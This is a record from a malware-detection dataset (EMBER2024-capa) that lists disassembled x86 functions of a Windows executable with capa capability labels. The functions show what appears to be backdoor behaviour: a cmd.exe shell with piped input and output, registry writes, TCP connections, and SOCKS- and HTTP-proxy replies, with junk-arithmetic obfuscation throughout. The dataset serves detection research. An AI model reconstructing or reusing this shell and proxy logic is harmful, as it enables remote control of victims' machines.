joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407302
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute shell command and capture output

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x79ac6537
mov eax, edi
sub eax, edi
mov edi, eax
xor edi, 0x639a
mov dword [ebp - 0x50], 0xc
mov eax, 0x7bd3
mul edi
mov dword [ebp - 0x70], eax
mov edi, eax
mov dword [ebp - 0x48], 1
and dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x58]
push eax
mov eax, esi
add eax, 0xc
push eax
call sub.KERNEL32.DLL_CreatePipe
sub edi, 0x59a0
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, esi
add eax, 8
push eax
lea eax, [ebp - 0x54]
push eax
call sub.KERNEL32.DLL_CreatePipe
push 0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x5c]
push eax
mov eax, esi
add eax, 0x10
push eax
call sub.KERNEL32.DLL_CreatePipe
push 0x44
push 0
lea eax, [ebp - 0x44]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov eax, edi
mul edi
mov dword [ebp - 0x74], eax
mov edi, eax
mov dword [ebp - 0x44], 0x44
mov eax, dword [ebp - 0x58]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov eax, 0x439f
mul edi
mov dword [ebp - 0x78], eax
mov edi, eax
mov dword [ebp - 0x18], 0x101
mov word [ebp - 0x14], 0
mov eax, edi
xor eax, edi
mov edi, eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
cmp dword [0x419af0], 2
jne 0x4073f8
lea ebx, str.cmd.exe
jmp 0x4073fe
lea ebx, str.command.com
push ebx
push 0
call sub.KERNEL32.DLL_CreateProcessA
or eax, eax
je 0x407410
mov eax, dword [ebp - 0x6c]
mov dword [esi + 4], eax
mov eax, edi
mul edi
mov dword [ebp - 0x7c], eax
mov edi, eax
push dword [ebp - 0x68]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x58]
call sub.KERNEL32.DLL_CloseHandle
mov eax, edi
sub eax, edi
mov edi, eax
push dword [ebp - 0x54]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x5c]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [esi + 4], 0
jne 0x407449
xor eax, eax
jmp 0x407452
sub edi, 0x4025
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407457
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x2bd42c09
sub edi, 0x2e71
push dword [esi + 8]
call sub.KERNEL32.DLL_CloseHandle
push dword [esi + 0xc]
call sub.KERNEL32.DLL_CloseHandle
mov eax, edi
xor eax, edi
mov edi, eax
push dword [esi + 0x10]
call sub.KERNEL32.DLL_CloseHandle
push 1
push dword [esi + 4]
call sub.KERNEL32.DLL_TerminateProcess
push dword [esi + 4]
call sub.KERNEL32.DLL_CloseHandle
push 0x14
push 0
push esi
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov eax, edi
mul edi
mov dword [ebp - 4], eax
mov edi, eax
pop edi
pop esi
leave
ret
Function at 0x407511
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, 0x40726363
mov eax, edi
sub eax, edi
mov edi, eax
sub edi, 0x488e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
or eax, eax
je 0x407550
xor eax, eax
jmp 0x407587
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x1c]
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
or eax, eax
je 0x407576
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
jmp 0x407587
xor edi, 0x40be
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x40758a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0x18]
mov word [ebp + 0x18], ax
mov edi, 0x62123609
mov eax, edi
sub eax, edi
mov edi, eax
xor eax, edi
mov edi, eax
mov byte [esi], 0
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegOpenKeyExA
or eax, eax
je 0x4075cc
xor eax, eax
jmp 0x40760a
lea eax, [ebp + 0x18]
push eax
push esi
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
or eax, eax
je 0x4075f0
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
jmp 0x40760a
mov eax, edi
xor eax, edi
mov edi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
movzx eax, word [ebp + 0x18]
jmp 0x40760a
pop edi
pop esi
leave
ret

Function at 0x407b2a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov eax, dword [ebp + 8]
mov word [ebp + 8], ax
mov edi, 0x6be91e7c
xor edi, 0x526d
cmp dword [0x42f718], 0
je 0x407b52
mov eax, 2
jmp 0x407bc7
mov eax, edi
xor eax, edi
mov edi, eax
mov ax, word [ebp + 8]
mov word [0x4195ec], ax
mov byte [0x42b0c0], 0
xor edi, 0x6710
push 0x7d0
push 0
push 0x418610
call sub.CRTDLL.DLL_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x407cb5
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x42c818], eax
mov eax, edi
mul edi
mov dword [ebp - 8], eax
mov edi, eax
push 0
call sub.CRTDLL.DLL__sleep
pop ecx
cmp byte [0x42b0c0], 0
je 0x407b9e
movzx eax, byte [0x42b0c0]
jmp 0x407bc7
pop edi
leave
ret
Function at 0x407bca
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov esi, 0x169b130e
mov eax, 0x3516
mul esi
mov dword [ebp - 4], eax
mov esi, eax
xor edi, edi
jmp 0x407c62
mov eax, 0x14
mul edi
mov dword [ebp - 8], eax
cmp dword [eax + 0x418610], 0
jne 0x407c05
cmp dword [eax + 0x418614], 0
je 0x407c61
mov eax, 0x14
mul edi
mov dword [ebp - 0xc], eax
push dword [eax + 0x418610]
call sub.wsock32.dll_closesocket
add esi, 0x7051
mov eax, 0x14
mul edi
mov dword [ebp - 0x10], eax
push dword [eax + 0x418614]
call sub.wsock32.dll_closesocket
mov eax, 0x14
mul edi
mov dword [ebp - 0x14], eax
and dword [eax + 0x418614], 0
mov eax, esi
sub eax, esi
mov esi, eax
mov eax, 0x14
mul edi
mov dword [ebp - 0x18], eax
and dword [eax + 0x418610], 0
inc edi
cmp edi, 0x64
jb 0x407be7
push 0x7d0
push 0
push 0x418610
call sub.CRTDLL.DLL_memset
add esp, 0xc
add esi, 0x5720
push dword [0x42f718]
call sub.wsock32.dll_closesocket
and dword [0x42f718], 0
push 0
push dword [0x42c818]
call sub.KERNEL32.DLL_TerminateThread
push dword [0x42c818]
call sub.KERNEL32.DLL_CloseHandle
add esi, 0x1a75
pop edi
pop esi
leave
ret
Function at 0x407e3f
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
mov edi, 0x2f3c7a0d
add edi, 0xe11
sub edi, 0x3fff
push 0xe
push dword [ebp + 0xc]
lea eax, [ebp - 0x66]
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
add edi, 0x232f
mov byte [ebp - 0x58], 0
lea ecx, [ebp - 0x66]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x407e7d
push eax
lea edx, [ebp - 0x66]
push edx
call sub.USER32.DLL_CharUpperBuffA
xor edi, 0x41dc
push 1
push 0x4303a5
lea eax, [ebp - 0x66]
push eax
call fcn.00402b4d
add esp, 0xc
mov ebx, eax
cmp eax, 0xffff
jne 0x407eba
mov eax, 0xffffffff
jmp 0x408027
cmp dword [ebp + 0x18], 0
jne 0x407f2f
push 1
push str._HTTP:__
lea eax, [ebp - 0x66]
push eax
call fcn.00402b4d
add esp, 0xc
cmp eax, ebx
jne 0x407edc
cmp ebx, 0xa
jbe 0x407ee4
or eax, 0xffffffff
jmp 0x408027
sub edi, 0x9a2
inc ebx
mov word [ebp - 2], 0
jmp 0x407f08
movzx eax, word [ebp - 2]
lea edx, [eax + ebx + 7]
mov ecx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov byte [esi + eax], dl
inc word [ebp - 2]
movzx eax, word [ebp - 2]
cmp eax, 0x5f
jl 0x407ef3
mov eax, edi
sub eax, edi
mov edi, eax
push 1
push 0x42fe8b
push esi
call fcn.00402b4d
add esp, 0xc
mov edx, eax
mov word [ebp - 2], dx
jmp 0x407f7f
mov word [ebp - 2], 0
jmp 0x407f4c
movzx eax, word [ebp - 2]
lea edx, [eax + ebx + 1]
mov ecx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov byte [esi + eax], dl
inc word [ebp - 2]
movzx eax, word [ebp - 2]
cmp eax, 0x5f
jl 0x407f37
add edi, 0x13b1
push 1
push 0x4303a5
push esi
call fcn.00402b4d
add esp, 0xc
mov edx, eax
mov word [ebp - 2], dx
movzx eax, word [ebp - 2]
cmp byte [esi + eax], 0x2f
jne 0x407f7f
dec word [ebp - 2]
push 1
push 0x43035e
push esi
call fcn.00402b4d
add esp, 0xc
mov edx, eax
mov word [ebp - 0x68], dx
movzx eax, word [ebp - 2]
cmp eax, 0xffff
je 0x407fa5
cmp eax, 2
jge 0x407faa
or eax, 0xffffffff
jmp 0x408027
sub edi, 0x1b15
movzx eax, word [ebp - 2]
mov byte [esi + eax], 0
movzx eax, word [ebp - 0x68]
cmp eax, 0xffff
je 0x408001
movzx eax, word [ebp - 0x68]
lea eax, [eax + esi + 1]
push eax
call sub.CRTDLL.DLL_atoi
pop ecx
mov dword [ebp - 0x6c], eax
xor edi, 0x3c27
or eax, eax
je 0x408001
push 4
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
movzx eax, word [ebp - 0x68]
mov byte [esi + eax], 0
mov eax, edi
mul edi
mov dword [ebp - 0x70], eax
mov edi, eax
push esi
call sub.wsock32.dll_gethostbyname
mov ebx, eax
mov eax, edi
add eax, edi
mov edi, eax
or ebx, ebx
jne 0x408020
mov eax, 0xfffffffe
jmp 0x408027
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409052
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov word [ebp + 0x10], ax
mov edi, 0x588e1d1e
mov eax, edi
sub eax, edi
mov edi, eax
cmp word [ebp + 0x10], 0x194
jne 0x409082
push str.HTTP_1.0_404_Host_Not_Found_r_nPragma:_no_cache_r_nContent_type:_text_html_r_n_r_n_HTML__HEAD__TITLE_Error404__TITLE___HEAD__BODY__h1_Error404:_Hostname_DNS_lookup_failed
push esi
call sub.CRTDLL.DLL_sprintf
add esp, 8
add edi, 0x76be
cmp word [ebp + 0x10], 0x190
jne 0x40909e
push str.HTTP_1.0_400_Malformed_Request_r_nPragma:_no_cache_r_nContent_type:_text_html_r_n_r_n_HTML__HEAD__TITLE_Error400__TITLE___HEAD__BODY__h1_Error300:_Browser_sent_malformed_request
push esi
call sub.CRTDLL.DLL_sprintf
add esp, 8
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4090a3
push 0
push eax
push esi
mov edi, dword [ebp + 8]
push dword [edi]
call sub.wsock32.dll_send
pop edi
pop esi
pop ebp
ret

Function at 0x4090bc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov word [ebp + 0x14], ax
mov edi, 0x673a0057
sub edi, 0x4b75
inc dword [0x42f748]
mov eax, 0xe74
mul edi
mov dword [ebp - 0x10], eax
mov edi, eax
push 4
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 6]
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
inc dword [0x42f748]
mov byte [ebp - 0xa], 5
add edi, 0x735f
movzx eax, byte [ebp + 0xc]
sub eax, 0x5a
mov byte [ebp - 9], al
mov byte [ebp - 8], 0
mov byte [ebp - 7], 1
sub edi, 0x5098
movzx esi, word [ebp + 0x14]
and esi, 0xff00
sar esi, 8
mov ebx, esi
mov byte [ebp - 2], bl
movzx eax, word [ebp + 0x14]
and eax, 0xff
mov byte [ebp - 1], al
inc dword [0x42f748]
push 0
push 0xa
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.wsock32.dll_send
mov eax, edi
sub eax, edi
mov edi, eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4094a4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x711d4044
xor edi, 0x6c58
inc dword [0x42f748]
cmp byte [esi + 0x40], 4
jne 0x4094fa
cmp byte [ebp + 0xc], 0
jne 0x4094df
push 0
push 8
push 0x42fccf
push dword [esi + 4]
call sub.wsock32.dll_send
jmp 0x4094f0
push 0
push 8
push 0x42fcc6
push dword [esi + 4]
call sub.wsock32.dll_send
xor edi, 0x345d
xor eax, eax
jmp 0x409562
inc dword [0x42f748]
mov eax, edi
xor eax, edi
mov edi, eax
inc dword [0x42f748]
mov byte [ebp - 0xa], 5
mov eax, edi
add eax, edi
mov edi, eax
mov al, byte [ebp + 0xc]
mov byte [ebp - 9], al
mov byte [ebp - 8], 0
sub edi, 0x1700
mov byte [ebp - 7], 1
push 4
mov eax, esi
add eax, 0x78
push eax
lea eax, [ebp - 6]
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
mov al, byte [esi + 0x76]
mov byte [ebp - 2], al
mov al, byte [esi + 0x77]
mov byte [ebp - 1], al
add edi, 0x128f
push 0
push 0xa
lea eax, [ebp - 0xa]
push eax
push dword [esi + 4]
call sub.wsock32.dll_send
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x4095aa
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x15dd1d3e
mov eax, edi
add eax, edi
mov edi, eax
inc dword [0x42f748]
cmp byte [esi + 0x43], 3
jne 0x40962b
mov eax, esi
add eax, 0x45
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 4], eax
inc dword [0x42f748]
mov ecx, edi
xor ecx, edi
mov edi, ecx
or eax, eax
jne 0x409616
inc dword [0x42f748]
mov eax, edi
mul edi
mov dword [ebp - 8], eax
mov edi, eax
push 1
push esi
call fcn.00409566
add esp, 8
mov eax, 0x1710
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
xor eax, eax
inc eax
jmp 0x409681
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esi + 0x78], eax
mov eax, edi
add eax, edi
mov edi, eax
jmp 0x40965f
movzx ebx, byte [esi + 0x44]
movzx edx, byte [esi + 0x45]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
movzx edx, byte [esi + 0x46]
movzx ecx, byte [esi + 0x47]
movzx ecx, cx
shl ecx, 8
or edx, ecx
movzx edx, dx
shl edx, 0x10
or ebx, edx
mov dword [esi + 0x78], ebx
sub edi, 0x5288
inc dword [0x42f748]
movzx ebx, byte [esi + 0x77]
movzx edx, byte [esi + 0x76]
movzx edx, dx
shl edx, 8
or ebx, edx
mov word [esi + 0x7c], bx
xor edi, 0x5434
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409686
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x9a530d7
xor edi, 0xd0c
inc dword [0x42f748]
push esi
call fcn.004095aa
pop ecx
add edi, 0x4249
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [esi + 0x80], eax
mov word [esi + 0x84], 2
movzx eax, word [esi + 0x7c]
push eax
call sub.wsock32.dll_htons
mov ebx, eax
mov word [esi + 0x86], bx
mov eax, dword [esi + 0x78]
mov dword [esi + 0x88], eax
inc dword [0x42f748]
sub edi, 0x7fcc
push 0x10
mov eax, esi
add eax, 0x84
push eax
push dword [esi + 0x80]
call sub.wsock32.dll_connect
or eax, eax
je 0x40972a
inc dword [0x42f748]
mov eax, edi
add eax, edi
mov edi, eax
push 1
push esi
call fcn.00409566
add esp, 8
add edi, 0x1954
xor eax, eax
inc eax
jmp 0x409743
inc dword [0x42f748]
xor edi, 0x5ba7
push 0
push esi
call fcn.004094a4
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x409748
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x3d8750c0
mov eax, edi
add eax, edi
mov edi, eax
mov byte [ebp - 0x10d], 0
inc dword [0x42f748]
mov eax, edi
add eax, edi
mov edi, eax
and dword [ebp - 0x104], 0
xor edi, 0x51d4
cmp dword [ebp - 0x104], 0x40
jae 0x4097a1
mov ebx, dword [ebp - 0x104]
inc dword [ebp - 0x104]
mov edx, dword [esi + 4]
mov dword [ebp + ebx*4 - 0x100], edx
mov dword [ebp - 0x10c], 5
and dword [ebp - 0x108], 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 1
call sub.wsock32.dll_select
inc dword [0x42f748]
mov eax, edi
xor eax, edi
mov edi, eax
lea eax, [ebp - 0x104]
push eax
push dword [esi + 4]
call sub.wsock32.dll___WSAFDIsSet
or eax, eax
je 0x409805
push 0
push 1
lea eax, [ebp - 0x10d]
push eax
push dword [esi + 4]
call sub.wsock32.dll_recv
xor edi, 0x76b1
jmp 0x40981f
inc dword [0x42f748]
mov eax, edi
sub eax, edi
mov edi, eax
mov dword [esi + 0x38], 1
mov dword [esi + 0x3c], 1
movzx eax, byte [ebp - 0x10d]
jmp 0x40982e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409833
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1030
call fcn.0040d87c
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], 0x3d47301
mov eax, dword [ebp - 8]
mov edx, eax
sub edx, eax
mov dword [ebp - 8], edx
cmp byte [ebx + 0x40], 4
jne 0x4098e7
inc dword [0x42f748]
push ebx
call fcn.00409748
mov edx, eax
mov byte [ebx + 0x76], dl
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x102c], eax
mul dword [ebp - 0x1028]
mov dword [ebp - 0x1030], eax
mov dword [ebp - 8], eax
push ebx
call fcn.00409748
add esp, 8
mov edx, eax
mov byte [ebx + 0x77], dl
mov byte [ebx + 0x43], 1
and dword [ebp - 0x24], 0
push ebx
call fcn.00409748
pop ecx
mov edi, dword [ebp - 0x24]
mov edx, eax
mov byte [edi + ebx + 0x44], dl
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x4098a6
mov eax, dword [ebp - 8]
mov edx, eax
sub edx, eax
mov dword [ebp - 8], edx
push 0
push 0xfff
lea eax, [ebp - 0x1023]
push eax
push dword [ebx + 4]
call sub.wsock32.dll_recv
xor eax, eax
inc eax
jmp 0x409a3c
lea edi, [ebp - 0x20]
lea esi, [0x42f750]
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
inc dword [0x42f748]
add dword [ebp - 8], 0x37bd
push ebx
call fcn.00409748
push ebx
call fcn.00409748
mov edx, eax
mov byte [ebx + 0x41], dl
mov eax, dword [ebp - 8]
mov edx, eax
add edx, eax
mov dword [ebp - 8], edx
push ebx
call fcn.00409748
mov edx, eax
mov byte [ebx + 0x42], dl
push ebx
call fcn.00409748
add esp, 0x10
mov edx, eax
mov byte [ebx + 0x43], dl
cmp byte [ebx + 0x41], 1
je 0x409960
cmp dword [ebx + 0x80], 2
je 0x409960
push 7
push ebx
call fcn.00409566
add esp, 8
add dword [ebp - 8], 0x584d
xor eax, eax
jmp 0x409a3c
inc dword [0x42f748]
mov eax, dword [ebp - 8]
mov edx, eax
add edx, eax
mov dword [ebp - 8], edx
mov al, byte [ebx + 0x43]
cmp al, 4
jae 0x40997b
cmp al, 0
ja 0x409997
push 8
push ebx
call fcn.00409566
add esp, 8
xor eax, eax
jmp 0x409a3c
movzx edi, byte [ebx + 0x43]
shl edi, 2
mov edi, dword [ebp + edi - 0x20]
mov dword [ebp - 0xc], edi
push ebx
call fcn.00409748
pop ecx
mov edx, eax
mov byte [ebx + 0x44], dl
mov eax, dword [ebp - 8]
mov edx, eax
add edx, eax
mov dword [ebp - 8], edx
cmp byte [ebx + 0x43], 3
jne 0x4099c9
movzx eax, byte [ebx + 0x44]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2d
jle 0x4099d6
mov dword [ebp - 0xc], 0x2d
mov dword [ebp - 4], 1
jmp 0x4099f2
push ebx
call fcn.00409748
pop ecx
mov edi, dword [ebp - 4]
mov edx, eax
mov byte [edi + ebx + 0x44], dl
inc dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jl 0x4099df
mov byte [eax + ebx + 0x44], 0
xor dword [ebp - 8], 0x57a9
push ebx
call fcn.00409748
mov edx, eax
mov byte [ebx + 0x76], dl
push ebx
call fcn.00409748
add esp, 8
mov edx, eax
mov byte [ebx + 0x77], dl
inc dword [0x42f748]
cmp dword [ebx + 0x38], 0
je 0x409a38
cmp dword [0x40e03c], 1
jne 0x409a38
xor eax, eax
jmp 0x409a3c
movzx eax, byte [ebx + 0x41]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409ebd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov eax, dword [ebp + 8]
mov word [ebp + 8], ax
mov edi, 0x46313840
mov eax, edi
xor eax, edi
mov edi, eax
inc dword [0x42f748]
mov ax, word [ebp + 8]
mov word [0x42d0a8], ax
xor edi, 0x725e
mov byte [0x42f74c], 0
push 0
push 0xa400
push section..tls
call sub.CRTDLL.DLL_memset
add esp, 0xc
inc dword [0x42f748]
add edi, 0x4f74
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x409d29
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
push esi
call sub.KERNEL32.DLL_CloseHandle
inc dword [0x42f748]
mov eax, edi
add eax, edi
mov edi, eax
push 0
call sub.CRTDLL.DLL__sleep
pop ecx
cmp byte [0x42f74c], 0
je 0x409f3c
inc dword [0x42f748]
add edi, 0x390f
movzx eax, byte [0x42f74c]
jmp 0x409f68
pop edi
pop esi
leave
ret

Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call sub.CRTDLL.DLL_rand
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call sub.CRTDLL.DLL_memset
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call sub.CRTDLL.DLL_memcpy
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b72b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x14]
mov edi, 0x72607ced
sub edi, 0x616c
add edi, 0x1a72
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 2], dx
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 4], dx
push dword [ebp + 0x10]
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 0xa], dx
push ebx
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 0xc], dx
sub edi, 0x42fe
movzx eax, word [ebp - 2]
movzx edx, word [ebp - 4]
add eax, edx
movzx edx, word [ebp - 0xa]
add eax, edx
movzx edx, word [ebp - 0xc]
lea eax, [eax + edx + 0x28]
push eax
push 0
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
xor eax, eax
cmp dword [ebp + 0x1c], 1
sete al
mov dword [ebp - 0x10], eax
mov byte [esi], al
mov eax, 0x7ab1
mul edi
mov dword [ebp - 0x14], eax
mov edi, eax
push 4
lea eax, [ebp + 0x18]
push eax
mov eax, esi
inc eax
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
push dword [ebp + 8]
mov eax, esi
add eax, 5
push eax
call fcn.0040d89c
push dword [ebp + 0xc]
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
inc eax
push eax
call fcn.0040d89c
mov eax, edi
xor eax, edi
mov edi, eax
push dword [ebp + 0x10]
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
movzx edx, word [ebp - 4]
lea eax, [eax + edx + 2]
push eax
call fcn.0040d89c
push ebx
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
movzx edx, word [ebp - 4]
add eax, edx
movzx edx, word [ebp - 0xa]
lea eax, [eax + edx + 3]
push eax
call fcn.0040d89c
lea eax, [ebp - 8]
push eax
push 0
push esi
push 0x40b34b
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
mov eax, edi
add eax, edi
mov edi, eax
push 0xffffffffffffffff
push esi
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [ebp - 8]
push eax
push esi
call sub.KERNEL32.DLL_GetExitCodeThread
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 8]
jmp 0x40b86e
pop edi
pop esi
pop ebx
leave
ret